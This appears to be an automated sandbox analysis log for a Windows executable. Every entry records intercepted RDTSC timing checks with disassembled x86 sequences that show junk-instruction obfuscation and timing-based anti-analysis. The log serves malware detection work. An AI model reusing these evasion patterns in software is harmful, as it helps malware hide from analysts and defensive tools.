Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: EA8DF3 second address: EA8E07 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA34CB66816h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnc 00007FA34CB6681Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: EA8E07 second address: EA8E32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA34CE69A18h 0x0000000a popad 0x0000000b push edi 0x0000000c jmp 00007FA34CE69A1Eh 0x00000011 pushad 0x00000012 jmp 00007FA34CE69A1Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: EA8E32 second address: EA8E38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DBC89F second address: DBC8A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47C042C second address: 47C0430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47C0430 second address: 47C0434 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47C0434 second address: 47C043A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47C043A second address: 47C0440 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E08DB second address: 47E08ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA34CB6681Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E08ED second address: 47E0916 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA34CE69A25h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0916 second address: 47E0967 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB66821h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FA34CB66821h 0x0000000f xchg eax, ebp 0x00000010 jmp 00007FA34CB6681Eh 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FA34CB66827h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0967 second address: 47E09A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA34CE69A1Fh 0x00000009 jmp 00007FA34CE69A23h 0x0000000e popfd 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xchg eax, ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FA34CE69A1Bh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E09A1 second address: 47E09F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA34CB6681Fh 0x00000009 sub ecx, 2DA6995Eh 0x0000000f jmp 00007FA34CB66829h 0x00000014 popfd 0x00000015 mov bh, al 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007FA34CB6681Ah 0x00000020 xchg eax, ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FA34CB6681Ah 0x0000002a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E09F3 second address: 47E09F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E09F9 second address: 47E0A3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, si 0x00000006 mov ch, A4h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007FA34CB6681Dh 0x00000014 pop eax 0x00000015 pushfd 0x00000016 jmp 00007FA34CB66821h 0x0000001b and cl, 00000056h 0x0000001e jmp 00007FA34CB66821h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0A3E second address: 47E0A5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov ecx, ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0A5B second address: 47E0A8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB66825h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a lea eax, dword ptr [ebp-04h] 0x0000000d jmp 00007FA34CB6681Eh 0x00000012 nop 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov esi, ebx 0x00000018 mov eax, edi 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0A8F second address: 47E0AA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA34CE69A21h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0AA4 second address: 47E0AC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB66821h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov edi, ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0AC3 second address: 47E0AC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0B90 second address: 47E0B96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0BDC second address: 47E0BE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0BE0 second address: 47E0BF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB66820h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0BF4 second address: 47E0C06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA34CE69A1Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0C06 second address: 47E0C30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a mov dl, B5h 0x0000000c jmp 00007FA34CB66826h 0x00000011 popad 0x00000012 leave 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov ah, dl 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0C30 second address: 47D01E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d sub esp, 04h 0x00000010 xor ebx, ebx 0x00000012 cmp eax, 00000000h 0x00000015 je 00007FA34CE69B7Ah 0x0000001b mov dword ptr [esp], 0000000Dh 0x00000022 call 00007FA350A55D91h 0x00000027 mov edi, edi 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D01E7 second address: 47D01EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D01EE second address: 47D0225 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, cx 0x00000006 jmp 00007FA34CE69A24h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FA34CE69A27h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0225 second address: 47D022A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D022A second address: 47D0325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FA34CE69A25h 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FA34CE69A1Ch 0x00000015 jmp 00007FA34CE69A25h 0x0000001a popfd 0x0000001b pushad 0x0000001c call 00007FA34CE69A1Eh 0x00000021 pop ecx 0x00000022 mov ah, dl 0x00000024 popad 0x00000025 popad 0x00000026 xchg eax, ebp 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007FA34CE69A28h 0x0000002e jmp 00007FA34CE69A25h 0x00000033 popfd 0x00000034 mov eax, 1ADA9117h 0x00000039 popad 0x0000003a mov ebp, esp 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007FA34CE69A28h 0x00000043 or eax, 072749B8h 0x00000049 jmp 00007FA34CE69A1Bh 0x0000004e popfd 0x0000004f pushfd 0x00000050 jmp 00007FA34CE69A28h 0x00000055 add ah, 00000018h 0x00000058 jmp 00007FA34CE69A1Bh 0x0000005d popfd 0x0000005e popad 0x0000005f sub esp, 2Ch 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 jmp 00007FA34CE69A20h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0325 second address: 47D0334 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB6681Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0334 second address: 47D0363 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b jmp 00007FA34CE69A1Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0363 second address: 47D03B0 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA34CB6681Ch 0x00000008 xor cx, 5338h 0x0000000d jmp 00007FA34CB6681Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 push eax 0x00000017 jmp 00007FA34CB66829h 0x0000001c xchg eax, ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FA34CB6681Dh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D03B0 second address: 47D03CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D03CB second address: 47D0427 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA34CB66826h 0x00000008 add eax, 4B8CD258h 0x0000000e jmp 00007FA34CB6681Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushfd 0x00000019 jmp 00007FA34CB66826h 0x0000001e jmp 00007FA34CB66825h 0x00000023 popfd 0x00000024 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0427 second address: 47D044C instructions: 0x00000000 rdtsc 0x00000002 call 00007FA34CE69A20h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FA34CE69A1Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D044C second address: 47D0452 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0480 second address: 47D0484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0484 second address: 47D0488 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0488 second address: 47D048E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D048E second address: 47D04CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB66824h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FA34CB6681Ah 0x00000014 xor esi, 7CED6638h 0x0000001a jmp 00007FA34CB6681Bh 0x0000001f popfd 0x00000020 push esi 0x00000021 pop ebx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D04CB second address: 47D04DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA34CE69A20h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D04DF second address: 47D0501 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA34CB66823h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0501 second address: 47D0506 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0506 second address: 47D0558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FA34CB66825h 0x0000000a xor esi, 039E28E6h 0x00000010 jmp 00007FA34CB66821h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 inc ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FA34CB66828h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0558 second address: 47D0567 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0567 second address: 47D058C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 call 00007FA34CB66820h 0x0000000b pop eax 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f test al, al 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov di, si 0x00000017 mov dl, ah 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D058C second address: 47D05E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA34CE69A1Eh 0x00000009 and ch, 00000078h 0x0000000c jmp 00007FA34CE69A1Bh 0x00000011 popfd 0x00000012 call 00007FA34CE69A28h 0x00000017 pop esi 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b je 00007FA34CE69C79h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FA34CE69A23h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D05E6 second address: 47D05EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D05EA second address: 47D05F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D05F0 second address: 47D0657 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB66824h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ecx, dword ptr [ebp-14h] 0x0000000c pushad 0x0000000d mov bx, cx 0x00000010 pushfd 0x00000011 jmp 00007FA34CB6681Ah 0x00000016 and ax, F398h 0x0000001b jmp 00007FA34CB6681Bh 0x00000020 popfd 0x00000021 popad 0x00000022 mov dword ptr [ebp-14h], edi 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 pushfd 0x00000029 jmp 00007FA34CB66822h 0x0000002e and eax, 24D61DF8h 0x00000034 jmp 00007FA34CB6681Bh 0x00000039 popfd 0x0000003a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D06A0 second address: 47D06A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D06A6 second address: 47D06E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB66823h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FA34CB6681Eh 0x00000015 add cx, 9C48h 0x0000001a jmp 00007FA34CB6681Bh 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D06E4 second address: 47D06EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D06EA second address: 47D06F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D06F8 second address: 47D06FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D075A second address: 47D0760 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0760 second address: 47D0764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0904 second address: 47D0919 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB66821h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0919 second address: 47D0988 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FA34CE69A1Ch 0x00000011 and ax, 4248h 0x00000016 jmp 00007FA34CE69A1Bh 0x0000001b popfd 0x0000001c mov edi, esi 0x0000001e popad 0x0000001f xchg eax, ebx 0x00000020 jmp 00007FA34CE69A22h 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007FA34CE69A1Ch 0x0000002f and ah, FFFFFFD8h 0x00000032 jmp 00007FA34CE69A1Bh 0x00000037 popfd 0x00000038 movzx esi, dx 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0988 second address: 47D09B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB66822h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA34CB66827h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D09B8 second address: 47D09ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA34CE69A1Fh 0x00000009 adc ecx, 6228A4AEh 0x0000000f jmp 00007FA34CE69A29h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0A2D second address: 47D0A33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0A33 second address: 47D0A37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0A37 second address: 47D0030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a pushad 0x0000000b mov esi, edi 0x0000000d pushfd 0x0000000e jmp 00007FA34CB66821h 0x00000013 or cx, 57A6h 0x00000018 jmp 00007FA34CB66821h 0x0000001d popfd 0x0000001e popad 0x0000001f test esi, esi 0x00000021 jmp 00007FA34CB6681Eh 0x00000026 je 00007FA3BDE343EDh 0x0000002c xor eax, eax 0x0000002e jmp 00007FA34CB3FF4Ah 0x00000033 pop esi 0x00000034 pop edi 0x00000035 pop ebx 0x00000036 leave 0x00000037 retn 0004h 0x0000003a nop 0x0000003b sub esp, 04h 0x0000003e mov esi, eax 0x00000040 xor ebx, ebx 0x00000042 cmp esi, 00000000h 0x00000045 je 00007FA34CB66955h 0x0000004b call 00007FA35075285Ch 0x00000050 mov edi, edi 0x00000052 jmp 00007FA34CB66825h 0x00000057 xchg eax, ebp 0x00000058 jmp 00007FA34CB6681Eh 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 mov si, 85D3h 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0030 second address: 47D0035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0035 second address: 47D007A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB6681Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FA34CB66826h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FA34CB66827h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D007A second address: 47D0092 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA34CE69A24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0092 second address: 47D00B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov eax, ebx 0x0000000e call 00007FA34CB66825h 0x00000013 pop eax 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D00B7 second address: 47D00C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA34CE69A1Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D00C8 second address: 47D0127 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ecx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FA34CB66823h 0x00000012 jmp 00007FA34CB66823h 0x00000017 popfd 0x00000018 push eax 0x00000019 push edx 0x0000001a pushfd 0x0000001b jmp 00007FA34CB66826h 0x00000020 and ecx, 67795468h 0x00000026 jmp 00007FA34CB6681Bh 0x0000002b popfd 0x0000002c rdtsc
